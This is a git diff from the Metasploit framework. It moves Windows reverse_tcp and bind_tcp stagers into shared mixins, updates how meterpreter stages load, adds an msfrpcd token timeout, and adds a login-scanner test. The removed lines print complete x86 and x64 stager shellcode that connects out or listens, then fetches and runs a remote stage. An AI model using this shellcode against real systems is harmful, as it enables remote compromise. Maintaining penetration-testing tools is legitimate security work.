b/modules/payloads/stagers/windows/reverse_tcp.rb @@ -6,14 +6,14 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/windows/reverse_tcp' - -module Metasploit3 +module Metasploit4 CachedSize = 281 include Msf::Payload::Stager - include Msf::Payload::Windows + include Msf::Payload::Windows::ReverseTcp def initialize(info = {}) super(merge_info(info, @@ -25,38 +25,8 @@ module Metasploit3 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::ReverseTcp, 'Convention' => 'sockedi', - 'Stager' => - { - 'RequiresMidstager' => false, - 'Offsets' => { - # ExitFunk Offset: 222 - 'LHOST' => [ 190, 'ADDR' ], - 'LPORT' => [ 197, 'n' ], - 'ReverseConnectRetries' => [ 188, 'C'] - }, - 'Payload' => - "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + - "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + - "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + - "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + - "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + - "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + - "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + - "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" + - "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" + - "\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40" + - "\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A\x05\x68\x7F\x00" + - "\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5" + - "\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5" + - "\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF" + - "\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4" + - "\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F" + - "\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\xC3" - } + 'Stager' => { 'RequiresMidstager' => false } )) - - end end diff --git a/modules/payloads/stagers/windows/x64/bind_tcp.rb b/modules/payloads/stagers/windows/x64/bind_tcp.rb index 00079c5279..4f8f44442c 100644 --- a/modules/payloads/stagers/windows/x64/bind_tcp.rb +++ b/modules/payloads/stagers/windows/x64/bind_tcp.rb @@ -6,14 +6,14 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/windows/x64/bind_tcp' +module Metasploit4 -module Metasploit3 - - CachedSize = 467 + CachedSize = :dynamic include Msf::Payload::Stager - include Msf::Payload::Windows + include Msf::Payload::Windows::BindTcp_x64 def initialize(info = {}) super(merge_info(info, @@ -25,45 +25,7 @@ module Metasploit3 'Arch' => ARCH_X86_64, 'Handler' => Msf::Handler::BindTcp, 'Convention' => 'sockrdi', - 'Stager' => - { - 'Offsets' => - { - 'LPORT' => [ 232, 'n' ] - }, - 'RequiresMidstager' => false, - 'Payload' => - "\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51" + - "\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" + - "\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" + - "\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88" + - "\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44" + - "\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48" + - "\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1" + - "\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44" + - "\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49" + - "\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A" + - "\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41" + - "\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x49\xBE\x77\x73\x32" + - "\x5F\x33\x32\x00\x00\x41\x56\x49\x89\xE6\x48\x81\xEC\xA0\x01\x00" + - "\x00\x49\x89\xE5\x49\xBC\x02\x00\x11\x5C\x00\x00\x00\x00\x41\x54" + - "\x49\x89\xE4\x4C\x89\xF1\x41\xBA\x4C\x77\x26\x07\xFF\xD5\x4C\x89" + - "\xEA\x68\x01\x01\x00\x00\x59\x41\xBA\x29\x80\x6B\x00\xFF\xD5\x50" + - "\x50\x4D\x31\xC9\x4D\x31\xC0\x48\xFF\xC0\x48\x89\xC2\x48\xFF\xC0" + - "\x48\x89\xC1\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x6A\x10" + - "\x41\x58\x4C\x89\xE2\x48\x89\xF9\x41\xBA\xC2\xDB\x37\x67\xFF\xD5" + - "\x48\x31\xD2\x48\x89\xF9\x41\xBA\xB7\xE9\x38\xFF\xFF\xD5\x4D\x31" + - "\xC0\x48\x31\xD2\x48\x89\xF9\x41\xBA\x74\xEC\x3B\xE1\xFF\xD5\x48" + - "\x89\xF9\x48\x89\xC7\x41\xBA\x75\x6E\x4D\x61\xFF\xD5\x48\x81\xC4" + - "\xA0\x02\x00\x00\x48\x83\xEC\x10\x48\x89\xE2\x4D\x31\xC9\x6A\x04" + - "\x41\x58\x48\x89\xF9\x41\xBA\x02\xD9\xC8\x5F\xFF\xD5\x48\x83\xC4" + - "\x20\x5E\x6A\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xF2" + - "\x48\x31\xC9\x41\xBA\x58\xA4\x53\xE5\xFF\xD5\x48\x89\xC3\x49\x89" + - "\xC7\x4D\x31\xC9\x49\x89\xF0\x48\x89\xDA\x48\x89\xF9\x41\xBA\x02" + - "\xD9\xC8\x5F\xFF\xD5\x48\x01\xC3\x48\x29\xC6\x48\x85\xF6\x75\xE1" + - "\x41\xFF\xE7" - } + 'Stager' => { 'RequiresMidstager' => false } )) end diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp.rb b/modules/payloads/stagers/windows/x64/reverse_tcp.rb index 334cdc15eb..c7030b920e 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp.rb @@ -6,14 +6,14 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/windows/x64/reverse_tcp' +module Metasploit4 -module Metasploit3 - - CachedSize = 422 + CachedSize = :dynamic include Msf::Payload::Stager - include Msf::Payload::Windows + include Msf::Payload::Windows::ReverseTcp_x64 def initialize(info = {}) super(merge_info(info, @@ -25,43 +25,7 @@ module Metasploit3 'Arch' => ARCH_X86_64, 'Handler' => Msf::Handler::ReverseTcp, 'Convention' => 'sockrdi', - 'Stager' => - { - 'Offsets' => - { - 'LPORT' => [ 232, 'n' ], - 'LHOST' => [ 234, 'ADDR' ] - }, - 'RequiresMidstager' => false, - 'Payload' => - "\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51" + - "\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" + - "\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" + - "\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88" + - "\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44" + - "\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48" + - "\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1" + - "\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44" + - "\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49" + - "\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A" + - "\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41" + - "\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x49\xBE\x77\x73\x32" + - "\x5F\x33\x32\x00\x00\x41\x56\x49\x89\xE6\x48\x81\xEC\xA0\x01\x00" + - "\x00\x49\x89\xE5\x49\xBC\x02\x00\x11\x5C\x7F\x00\x00\x01\x41\x54" + - "\x49\x89\xE4\x4C\x89\xF1\x41\xBA\x4C\x77\x26\x07\xFF\xD5\x4C\x89" + - "\xEA\x68\x01\x01\x00\x00\x59\x41\xBA\x29\x80\x6B\x00\xFF\xD5\x50" + - "\x50\x4D\x31\xC9\x4D\x31\xC0\x48\xFF\xC0\x48\x89\xC2\x48\xFF\xC0" + - "\x48\x89\xC1\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x6A\x10" + - "\x41\x58\x4C\x89\xE2\x48\x89\xF9\x41\xBA\x99\xA5\x74\x61\xFF\xD5" + - "\x48\x81\xC4\x40\x02\x00\x00\x48\x83\xEC\x10\x48\x89\xE2\x4D\x31" + - "\xC9\x6A\x04\x41\x58\x48\x89\xF9\x41\xBA\x02\xD9\xC8\x5F\xFF\xD5" + - "\x48\x83\xC4\x20\x5E\x6A\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58" + - "\x48\x89\xF2\x48\x31\xC9\x41\xBA\x58\xA4\x53\xE5\xFF\xD5\x48\x89" + - "\xC3\x49\x89\xC7\x4D\x31\xC9\x49\x89\xF0\x48\x89\xDA\x48\x89\xF9" + - "\x41\xBA\x02\xD9\xC8\x5F\xFF\xD5\x48\x01\xC3\x48\x29\xC6\x48\x85" + - "\xF6\x75\xE1\x41\xFF\xE7" - } + 'Stager' => { 'RequiresMidstager' => false } )) end diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index 2ee655a5de..cd6b74c9a0 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -8,6 +8,9 @@ require 'msf/base/sessions/meterpreter_x86_linux' require 'msf/base/sessions/meterpreter_options' require 'rex/elfparsey' +# Provides methods to patch options into the metsrv stager. +require 'rex/payloads/meterpreter/patch' + module Metasploit3 include Msf::Sessions::MeterpreterOptions @@ -97,13 +100,14 @@ module Metasploit3 end def generate_stage - #file = File.join(Msf::Config.data_directory, "msflinker_linux_x86.elf") - file = File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin") + blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin') - met = File.open(file, "rb") {|f| - f.read(f.stat.size) - } + Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i) - return met + blob end end diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb index 0723c0e5d7..7e6504255c 100644 --- a/modules/payloads/stages/windows/meterpreter.rb +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -6,9 +6,7 @@ require 'msf/core' require 'msf/core/payload/windows/reflectivedllinject' -require 'msf/core/payload/windows/x64/reflectivedllinject' require 'msf/base/sessions/meterpreter_x86_win' -require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' ### @@ -16,6 +14,7 @@ require 'msf/base/sessions/meterpreter_options' # Injects the meterpreter server DLL via the Reflective Dll Injection payload # ### + module Metasploit3 include Msf::Payload::Windows::ReflectiveDllInject @@ -26,10 +25,7 @@ module Metasploit3 'Name' => 'Windows Meterpreter (Reflective Injection)', 'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)', 'Author' => ['skape','sf'], - 'PayloadCompat' => - { - 'Convention' => 'sockedi', - }, + 'PayloadCompat' => { 'Convention' => 'sockedi', }, 'License' => MSF_LICENSE, 'Session' => Msf::Sessions::Meterpreter_x86_Win)) @@ -39,7 +35,7 @@ module Metasploit3 end def library_path - MeterpreterBinaries.path('metsrv','x86.dll') + MetasploitPayloads.meterpreter_path('metsrv','x86.dll') end end diff --git a/modules/payloads/stages/windows/patchupmeterpreter.rb b/modules/payloads/stages/windows/patchupmeterpreter.rb index 4fb6d06b91..fc66ab5998 100644 --- a/modules/payloads/stages/windows/patchupmeterpreter.rb +++ b/modules/payloads/stages/windows/patchupmeterpreter.rb @@ -41,7 +41,7 @@ module Metasploit3 end def library_path - MeterpreterBinaries.path('metsrv','x86.dll') + MetasploitPayloads.meterpreter_path('metsrv','x86.dll') end end diff --git a/modules/payloads/stages/windows/x64/meterpreter.rb b/modules/payloads/stages/windows/x64/meterpreter.rb index 935d2779c6..d7362f65b3 100644 --- a/modules/payloads/stages/windows/x64/meterpreter.rb +++ b/modules/payloads/stages/windows/x64/meterpreter.rb @@ -22,19 +22,20 @@ module Metasploit3 def initialize(info = {}) super(update_info(info, - 'Name' => 'Windows x64 Meterpreter', - 'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (Windows x64) (staged)', + 'Name' => 'Windows Meterpreter (Reflective Injection x64)', + 'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64)', 'Author' => [ 'sf' ], + 'PayloadCompat' => { 'Convention' => 'sockrdi', }, 'License' => MSF_LICENSE, - 'Session' => Msf::Sessions::Meterpreter_x64_Win - )) + 'Session' => Msf::Sessions::Meterpreter_x64_Win)) - options.remove_option( 'LibraryName' ) - options.remove_option( 'DLL' ) + # Don't let people set the library name option + options.remove_option('LibraryName') + options.remove_option('DLL') end def library_path - MeterpreterBinaries.path('metsrv','x64.dll') + MetasploitPayloads.meterpreter_path('metsrv','x64.dll') end end diff --git a/msfrpcd b/msfrpcd index b334b57c79..bfb882c3e3 100755 --- a/msfrpcd +++ b/msfrpcd @@ -30,9 +30,10 @@ arguments = Rex::Parser::Arguments.new( "-U" => [ true, "Specify the username to access msfrpcd" ], "-P" => [ true, "Specify the password to access msfrpcd" ], "-u" => [ true, "URI for Web server" ], - "-S" => [ false, "Disable SSL on the RPC socket" ], + "-t" => [ true, "Token Timeout (default 300 seconds" ], + "-S" => [ false, "Disable SSL on the RPC socket" ], "-f" => [ false, "Run the daemon in the foreground" ], - "-n" => [ false, "Disable database" ], + "-n" => [ false, "Disable database" ], "-h" => [ false, "Help banner" ]) opts = { @@ -40,7 +41,8 @@ opts = { 'SSL' => true, 'ServerHost' => '0.0.0.0', 'ServerPort' => 55553, - 'ServerType' => 'Msg' + 'ServerType' => 'Msg', + 'TokenTimeout' => 300, } foreground = false @@ -60,6 +62,8 @@ arguments.parse(ARGV) { |opt, idx, val| opts['User'] = val when '-P' opts['Pass'] = val + when "-t" + opts['TokenTimeout'] = val.to_i when "-f" foreground = true when "-u" diff --git a/plugins/msgrpc.rb b/plugins/msgrpc.rb index 0fde3ff249..30c1bee857 100644 --- a/plugins/msgrpc.rb +++ b/plugins/msgrpc.rb @@ -45,6 +45,7 @@ class Plugin::MSGRPC < Msf::Plugin user = opts['User'] || "msf" pass = opts['Pass'] || ::Rex::Text.rand_text_alphanumeric(8) uri = opts['URI'] || "/api" + timeout = opts['TokenTimeout'] || 300 print_status("MSGRPC Service: #{host}:#{port} #{ssl ? " (SSL)" : ""}") print_status("MSGRPC Username: #{user}") @@ -56,7 +57,8 @@ class Plugin::MSGRPC < Msf::Plugin :ssl => ssl, :cert => cert, :uri => uri, - :tokens => { } + :tokens => { }, + :token_timeout => timeout }) self.server.add_user(user, pass) diff --git a/scripts/meterpreter/metsvc.rb b/scripts/meterpreter/metsvc.rb index 861b6cc6d8..253de080f8 100644 --- a/scripts/meterpreter/metsvc.rb +++ b/scripts/meterpreter/metsvc.rb @@ -92,7 +92,7 @@ if client.platform =~ /win32|win64/ to ||= from print_status(" >> Uploading #{from}...") fd = client.fs.file.new(tempdir + "\\" + to, "wb") - path = (from == 'metsrv.x86.dll') ? MeterpreterBinaries.path('metsrv','x86.dll') : File.join(based, from) + path = (from == 'metsrv.x86.dll') ? MetasploitPayloads.meterpreter_path('metsrv','x86.dll') : File.join(based, from) fd.write(::File.read(path, ::File.size(path))) fd.close end diff --git a/spec/lib/metasploit/framework/login_scanner/manageengine_desktop_central_spec.rb b/spec/lib/metasploit/framework/login_scanner/manageengine_desktop_central_spec.rb new file mode 100644 index 0000000000..f657ef91a6 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/manageengine_desktop_central_spec.rb @@ -0,0 +1,156 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/manageengine_desktop_central' + +describe Metasploit::Framework::LoginScanner::ManageEngineDesktopCentral do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + let(:session_id) do + 'DCJSESSIONID=5628CFEA339C2688D74267B03CDA88BD; ' + end + + let(:username) do + 'username' + end + + let(:good_password) do + 'good_password' + end + + let(:bad_password) do + 'bad_password' + end + + let(:successful_auth_response) do + Rex::Proto::Http::Response.new(302, 'Moved Temporarily') + end + + let(:fail_auth_response) do + Rex::Proto::Http::Response.new(200, 'OK') + end + + subject do + described_class.new + end + + let(:response) do + Rex::Proto::Http::Response.new(200, 'OK') + end + + before(:each) do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args) + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response) + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args) + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close) + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect) + end + + describe '#check_setup' do + context 'when target is ManageEngine Desktop Central' do + let(:response) do + res = Rex::Proto::Http::Response.new(200, 'OK') + res.body = 'ManageEngine Desktop Central' + res + end + it 'returns true' do + expect(subject.check_setup).to be_truthy + end + end + + context 'when target is not ManageEngine Desktop Central' do + it 'returns false' do + expect(subject.check_setup).to be_falsey + end + end + end + + describe '#get_sid' do + context 'when there is no session ID' do + let(:response) do + res = Rex::Proto::Http::Response.new(200, 'OK') + res.headers['Set-Cookie'] = session_id + + res + end + + it 'returns a new session ID' do + expect(subject.get_sid(response)).to include('DCJSESSIONID') + end + end + end + + describe '#get_hidden_inputs' do + let(:response) do + html = %Q| + + + | + res = Rex::Proto::Http::Response.new(200, 'OK') + res.body = html + res + end + + context 'when there are hidden login inputs' do + it 'returns a Hash' do + expect(subject.get_hidden_inputs(response)).to be_kind_of(Hash) + end + + it 'returns the value for buildNum' do + expect(subject.get_hidden_inputs(response)['buildNum']).to eq('90109') + end + + it 'returns the value for clearCacheBuildNum' do + expect(subject.get_hidden_inputs(response)['clearCacheBuildNum']).to eq('-1') + end + end + end + + describe '#get_login_state' do + context 'when the credential is valid' do + let(:response) { successful_auth_response } + it 'returns a hash indicating a successful login' do + expect(subject.get_login_state(username, good_password)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + end + + context 'when the creential is invalid' do + let(:response) { fail_auth_response } + it 'returns a hash indicating an incorrect cred' do + expect(subject.get_login_state(username, good_password)[:status]).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + end + end + + describe '#attempt_login' do + context 'when the credential is valid' do + let(:response) { successful_auth_response } + let(:cred_obj) { Metasploit::Framework::Credential.new(public: username, private: good_password) } + + it 'returns a Result object indicating a successful login' do + result = subject.attempt_login(cred_obj) + expect(result).to be_kind_of(::Metasploit::Framework::LoginScanner::Result) + end + + it 'returns successful login' do + result = subject.attempt_login(cred_obj) + expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + end + + context 'when the credential is invalid' do + let(:response) { fail_auth_response } + let(:cred_obj) { Metasploit::Framework::Credential.new(public: username, private: bad_password) } + + it 'returns a Result object' do + result = subject.attempt_login(cred_obj) + expect(result).to be_kind_of(::Metasploit::Framework::LoginScanner::Result) + end + + it 'returns incorrect credential status' do + result = subject.attempt_login(cred_obj) + expect(result.status).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/post/meterpreter_spec.rb b/spec/lib/rex/post/meterpreter_spec.rb index cf917d1032..ef7d53faa3 100644 --- a/spec/lib/rex/post/meterpreter_spec.rb +++ b/spec/lib/rex/post/meterpreter_spec.rb @@ -1,8 +1,8 @@ require 'spec_helper' require 'rex/post/meterpreter' -describe MeterpreterBinaries do +describe MetasploitPayloads do it 'is available' do - expect(described_class).to eq(MeterpreterBinaries) + expect(described_class).to eq(MetasploitPayloads) end end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 29f2f0519b..6626427919 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -1348,7 +1348,7 @@ describe 'modules/payloads', :content do 'stagers/linux/x86/bind_tcp', 'stages/linux/x86/meterpreter' ], - dynamic_size: false, + dynamic_size: true, modules_pathname: modules_pathname, reference_name: 'linux/x86/meterpreter/bind_tcp' end @@ -1455,7 +1455,7 @@ describe 'modules/payloads', :content do 'stagers/linux/x86/bind_tcp', 'stages/linux/x86/shell' ], - dynamic_size: false, + dynamic_size: true, modules_pathname: modules_pathname, reference_name: 'linux/x86/shell/bind_tcp' end @@ -2285,7 +2285,7 @@ describe 'modules/payloads', :content do 'stagers/windows/bind_tcp', 'stages/windows/dllinject' ], - dynamic_size: false, + dynamic_size: true, modules_pathname: modules_pathname, reference_name: 'windows/dllinject/bind_tcp' end @@ -2571,7 +2571,7 @@ describe 'modules/payloads', :content do 'stagers/windows/bind_tcp', 'stages/windows/meterpreter' ], - dynamic_size: false, + dynamic_size: true, modules_pathname: modules_pathname, reference_name: 'windows/meterpreter/bind_tcp' end @@ -2789,7 +2789,7 @@ describe 'modules/payloads', :content do 'stagers/windows/bind_tcp', 'stages/windows/patchupdllinject' ], - dynamic_size: false, + dynamic_size: true, modules_pathname: modules_pathname, reference_name: 'windows/patchupdllinject/bind_tcp' end @@ -2932,7 +2932,7 @@ describe 'modules/payloads', :content do 'stagers/windows/bind_tcp', 'stages/windows/patchupmeterpreter' ], - dynamic_size: false, + dynamic_size: true, modules_pathname: modules_pathname, reference_name: 'windows/patchupmeterpreter/bind_tcp' end @@ -3075,7 +3075,7 @@ describe 'modules/payloads', :content do 'stagers/windows/bind_tcp', 'stages/windows/shell' ], - dynamic_size: false, + dynamic_size: true, modules_pathname: modules_pathname, reference_name: 'windows/shell/bind_tcp' end @@ -3268,7 +3268,7 @@ describe 'modules/payloads', :content do 'stagers/windows/bind_tcp', 'stages/windows/upexec' ], - dynamic_size: false, + dynamic_size: true, modules_pathname: modules_pathname, reference_name: 'windows/upexec/bind_tcp' end @@ -3411,7 +3411,7 @@ describe 'modules/payloads', :content do 'stagers/windows/bind_tcp', 'stages/windows/vncinject' ], - dynamic_size: false, + dynamic_size: true, modules_pathname: modules_pathname, reference_name: 'windows/vncinject/bind_tcp' end @@ -3552,7 +3552,7 @@ describe 'modules/payloads', :content do 'stagers/windows/x64/bind_tcp', 'stages/windows/x64/meterpreter' ], - dynamic_size: false, + dynamic_size: true, modules_pathname: modules_pathname, reference_name: 'windows/x64/meterpreter/bind_tcp' end @@ -3574,7 +3574,7 @@ describe 'modules/payloads', :content do 'stagers/windows/x64/reverse_tcp', 'stages/windows/x64/meterpreter' ], - dynamic_size: false, + dynamic_size: true, modules_pathname: modules_pathname, reference_name: 'windows/x64/meterpreter/reverse_tcp' end @@ -3635,7 +3635,7 @@ describe 'modules/payloads', :content do 'stagers/windows/x64/bind_tcp', 'stages/windows/x64/shell' ], - dynamic_size: false, + dynamic_size: true, modules_pathname: modules_pathname, reference_name: 'windows/x64/shell/bind_tcp' end @@ -3646,7 +3646,7 @@ describe 'modules/payloads', :content do 'stagers/windows/x64/reverse_tcp', 'stages/windows/x64/shell' ], - dynamic_size: false, + dynamic_size: true, modules_pathname: modules_pathname, reference_name: 'windows/x64/shell/reverse_tcp' end @@ -3677,7 +3677,7 @@ describe 'modules/payloads', :content do 'stagers/windows/x64/bind_tcp', 'stages/windows/x64/vncinject' ], - dynamic_size: false, + dynamic_size: true, modules_pathname: modules_pathname, reference_name: 'windows/x64/vncinject/bind_tcp' end @@ -3688,7 +3688,7 @@ describe 'modules/payloads', :content do 'stagers/windows/x64/reverse_tcp', 'stages/windows/x64/vncinject' ], - dynamic_size: false, + dynamic_size: true, modules_pathname: modules_pathname, reference_name: 'windows/x64/vncinject/reverse_tcp' end